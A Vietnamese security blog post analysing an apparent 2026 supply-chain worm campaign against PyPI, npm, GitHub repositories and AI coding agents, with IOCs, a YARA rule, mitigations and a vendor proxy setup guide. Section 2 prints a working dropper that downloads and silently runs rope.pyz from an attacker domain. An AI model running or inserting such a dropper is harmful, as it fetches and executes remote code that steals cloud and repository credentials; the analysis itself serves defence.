1. Giới thiệu

Trong vòng chưa đầy 3 tuần, cộng đồng bảo mật chứng kiến một chuỗi sự kiện liên quan chặt chẽ với nhau:

Thời gian Sự kiện
19/05/2026 Microsoft durabletask bị compromise trên PyPI
03/06/2026 Worm binding.gyp lan rộng trong npm ecosystem
05/06/2026 Miasma worm compromise 73 repository của Microsoft

Các sự kiện này không phải là các cuộc tấn công độc lập. Chúng là các bước tiến hóa của cùng một chiến dịch nhằm:

  • Đánh cắp credentials
  • Chiếm quyền maintainer
  • Tự nhân bản qua supply chain
  • Tấn công AI coding workflow
  • Mở rộng quyền kiểm soát toàn bộ developer ecosystem

Nguồn phân tích ban đầu từ StepSecurity cho thấy chiến dịch có liên hệ với nhóm TeamPCP và họ malware Mini Shai-Hulud.


2. Giai đoạn 1 — Microsoft DurableTask bị compromise

Mục tiêu

Chiếm quyền một package có độ tin cậy cao.

  • Package bị tấn công: durabletask
  • Download trung bình: ~400.000 downloads / tháng
  • Các phiên bản độc hại: 1.4.1 · 1.4.2 · 1.4.3

Kiến trúc tấn công

Developer
  → pip install durabletask
  → Malicious Code
  → Download rope.pyz
  → Credential Theft
  → Cloud Accounts
  → Lateral Movement

Payload Dropper

Theo phân tích, chỉ khoảng 14 dòng code được thêm vào package nhưng đủ để tải về một payload lớn hơn nhiều: rope.pyz. Payload này thực hiện:

  • AWS credential harvesting
  • Azure credential harvesting
  • GCP credential harvesting
  • GitHub token theft
  • Kubernetes token theft
  • Password manager extraction

Ví dụ Dropper

import urllib.request
import subprocess
import tempfile

url = "https://check.git-service.com/rope.pyz"

tmp = tempfile.mktemp()

urllib.request.urlretrieve(url, tmp)

subprocess.Popen(
    ["python3", tmp],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)

3. Giai đoạn 2 — Worm hóa Supply Chain

Sau khi đánh cắp token và credential, malware bắt đầu chuyển sang chế độ tự nhân bản. Đây là điểm khác biệt cốt lõi giữa hai mô hình:

Supply Chain Attack truyền thống:
  Compromise → Steal data → Exit

Worm Supply Chain Attack:
  Compromise → Steal data → Compromise maintainer
  → Publish malware → Infect more maintainers → (lặp lại)

Binding.gyp Worm

StepSecurity phát hiện malware lây lan qua file binding.gyp trong hệ sinh thái npm.

Compromised Machine
  → Steal GitHub Token
  → Access Repository  ◄────────────┐
  → Modify Package                  │
  → npm publish                     │
  → New Victims                     │
  → More Tokens  ───────────────────┘  (vòng lặp)

Pseudo Code

const token = process.env.GITHUB_TOKEN;

if (token) {
    infectRepository();
    publishNewVersion();
}

Tại sao nguy hiểm?

Malware không còn phụ thuộc vào hacker. Nó tự động:

  1. tìm token
  2. commit code
  3. publish package
  4. lây nhiễm tiếp

Giống mô hình của Code Red, Morris Worm, WannaCry — nhưng diễn ra trong ecosystem developer thay vì network layer.


4. Giai đoạn 3 — Miasma Worm

Ngày 05/06/2026, chiến dịch leo thang thêm một cấp độ. Thay vì package registry (PyPI, npm), Miasma bắt đầu tấn công trực tiếp vào GitHub Repository.

Điều gì mới?

Payload không còn đợi import package hay npm install nữa. Nó được thiết kế để kích hoạt khi:

  • Open folder in IDE
  • AI Coding Agent scan repository

AI Agent Attack Surface

Miasma nhắm tới các AI coding agent phổ biến:

  • Claude Code
  • Gemini CLI
  • Cursor
  • VS Code
Developer
  → Clone Repository
  → Open in Cursor
  → AI Agent Reads Files
  → Malicious Script
  → Credential Theft
  → Repository Takeover

Repository Injection

Theo StepSecurity, các repository thuộc Microsoft bị GitHub disable khẩn cấp để ngăn lây lan thêm:

73 repository bị compromise — GitHub disable toàn bộ chỉ trong 105 giây.


5. Chuỗi Kill Chain hoàn chỉnh

Toàn bộ chiến dịch tạo thành một vòng lặp tự duy trì — output của giai đoạn cuối lại trở thành input cho giai đoạn đầu:

Compromise Package  ◄──────────────────┐
  → Credential Theft                    │
  → Steal GitHub Token                  │
  → Compromise Repository               │
  → Inject Malware                      │
  → AI Agent Execution                  │
  → New Credential Theft                │
  → Publish New Packages  ──────────────┘  (vòng lặp khép kín)

6. So sánh 3 giai đoạn

Giai đoạn Target Trigger Mức độ lan truyền
DurableTask PyPI Registry import Limited — Package
Binding.gyp npm Ecosystem install Medium — Maintainer
Miasma GitHub + AI Agents IDE Open High — Repository + AI

7. Indicators of Compromise (IOC)

Domains

check.git-service.com
git-service.com
t.m-kosche.com

Suspicious Files

rope.pyz
setup.js
transformers.pyz

8. Detection Rules

YARA Rule

rule Miasma_Rope_Payload
{
    strings:
        $a = "git-service.com"
        $b = "rope.pyz"
        $c = "kubectl exec"

    condition:
        any of them
}

GitHub Actions Detection

- name: Detect unexpected publish
  run: |
    git log --since="1 day ago"

9. Phòng thủ & Mitigation

1. Trusted Publishing. Thay vì dùng PYPI_API_TOKEN, hãy chuyển sang OIDC Trusted Publishing để ngăn upload trực tiếp lên registry.

2. Dependency Pinning.

pip install package==version

3. Commit SHA Pinning. Ghim theo commit SHA thay vì tag động:

uses: org/action@8f4d1d2   # ✓ pin theo SHA
# uses: org/action@v1       # ✗ tránh tag động

4. Runtime Monitoring. Theo mô hình Harden-Runner, phát hiện các hành vi bất thường: network calls, process spawn, secret access.

5. AI Agent Sandboxing. Không cho AI Agent đọc credential files, truy cập cloud config, hoặc thực thi script tự động.


10. Công cụ phòng thủ — Takumi Guard

Một cách triển khai cụ thể cho phần phòng thủ ở trên: Takumi Guard đóng vai trò là một secure registry proxy — đặt giữa máy của bạn và npm/PyPI, tự động chặn các package độc hại trước khi chúng kịp tải về và thực thi (đúng loại payload như rope.pyz hay @panda-guard/test-malicious).

🛡️ Takumi Guard — chặn package độc hại ngay tầng cài đặt, hỗ trợ npm · pip · yarn · bun.
Registry: npm.flatt.tech · pypi.flatt.tech

⚠️ Yêu cầu trước khi cài đặt

Bắt buộc phải có sẵn npm (Node.js)pip (Python). Kiểm tra bằng các lệnh:

# Kiểm tra npm (Node.js)
node -v
npm -v

# Kiểm tra pip (Python)
python --version
pip --version
  • Nếu chưa có npm: tải và cài Node.js từ trang chủ chính thức.
  • Nếu chưa có pip: thường đi kèm khi cài Python — hãy đảm bảo đã thêm vào PATH.

Bước 01 — Đăng ký Token bằng Email qua Curl

Gửi yêu cầu tạo token tới API, hệ thống sẽ gửi token về email của bạn.

curl -X POST https://npm.flatt.tech/api/v1/tokens \
  -H "Content-Type: application/json" \
  -d '{"email": "your_email@vietnamlab.vn", "language": "en"}'

Bước 02 — Lấy Token từ Email

Kiểm tra hộp thư đến, đánh dấu quan trọng hoặc gắn sao để dễ tìm lại khi cần tạo lại. Token có định dạng:

tg_....................   ✓ Token Format

Bước 03 — Cấu hình Package Manager

Trỏ registry về Takumi Guard và gắn token. Thay tg_YOUR_TOKEN bằng token thật của bạn.

# Cài đặt cho NPM
npm config set registry https://npm.flatt.tech/
npm config set //npm.flatt.tech/:_authToken tg_YOUR_TOKEN

# Cài đặt cho Python (PIP)
pip config set global.index-url https://token:tg_YOUR_TOKEN@pypi.flatt.tech/simple/
# yarn (v2+) — thêm vào .yarnrc.yml
npmRegistryServer: "https://npm.flatt.tech/"
npmAuthToken: "tg_YOUR_TOKEN"
# bun — thêm vào bunfig.toml
[install]
registry = { url = "https://npm.flatt.tech/", token = "tg_YOUR_TOKEN" }

Bước 04 — Kiểm tra cài đặt

Cài thử package giả lập độc hại. Nếu bị chặn với lỗi 403 Forbidden thì Takumi Guard đang hoạt động đúng — bị chặn = thành công.

$ npm install @panda-guard/test-malicious
npm error code E403
npm error 403 Forbidden - GET https://npm.flatt.tech/...
npm error 403 In most cases, you or one of your dependencies are requesting
npm error 403 a package version that is forbidden by your security policy, or
npm error 403 on a server you do not have access to.
npm error A complete log of this run can be found in:
npm error /Users/administrator/.npm/_logs/2026-04-21T07_37_18_247Z-debug-0.log

Thành công — package độc hại đã bị chặn.

🔑 Trường hợp mất hoặc hết hạn Token

Nếu bị mất Token hoặc Token hết hạn, hãy thực hiện lại Bước 01 để nhận mail — trong mail có hướng dẫn reset kèm mã code:

# Lost Your Key Completely?
curl -X POST https://npm.flatt.tech/api/v1/tokens/reset \
  --json '{"email": "you_email@vietnamlab.vn", "code": "XXXXXXXX"}'

Lưu ý quan trọng:

  • Lệnh này sẽ vô hiệu hóa (invalidate) Token hiện tại của bạn.
  • reset code sẽ hết hạn sau 1 giờ kể từ khi yêu cầu.

11. Kết luận

Chuỗi sự kiện DurableTask → Binding.gyp → Miasma cho thấy một xu hướng mới:

"Malware không còn chỉ tấn công người dùng cuối, mà đang tấn công chính các nhà phát triển và hệ sinh thái phát triển phần mềm."

Sự kết hợp giữa Supply Chain Attack + Self-Replicating Worm + Credential Theft + AI Agent Targeting đã tạo ra một lớp đe dọa mới mà nhiều mô hình DevSecOps hiện nay chưa được thiết kế để chống lại.

Nếu SolarWinds là cuộc tấn công supply chain nổi tiếng của thập kỷ trước, thì Miasma có thể là hình mẫu đầu tiên của một "AI-aware software supply chain worm" — một loại sâu máy tính được tối ưu hóa cho kỷ nguyên AI coding assistants và open-source ecosystems.

12. Nguồn tham khảo

https://www.stepsecurity.io/blog/microsofts-durabletask-pypi-package-compromised-in-supply-chain-attack
https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm
https://www.stepsecurity.io/blog/miasma-worm-hits-microsoft-again-azure-functions-action-and-72-other-repositories-disabled-after-supply-chain-attack-targeting-ai-coding-agents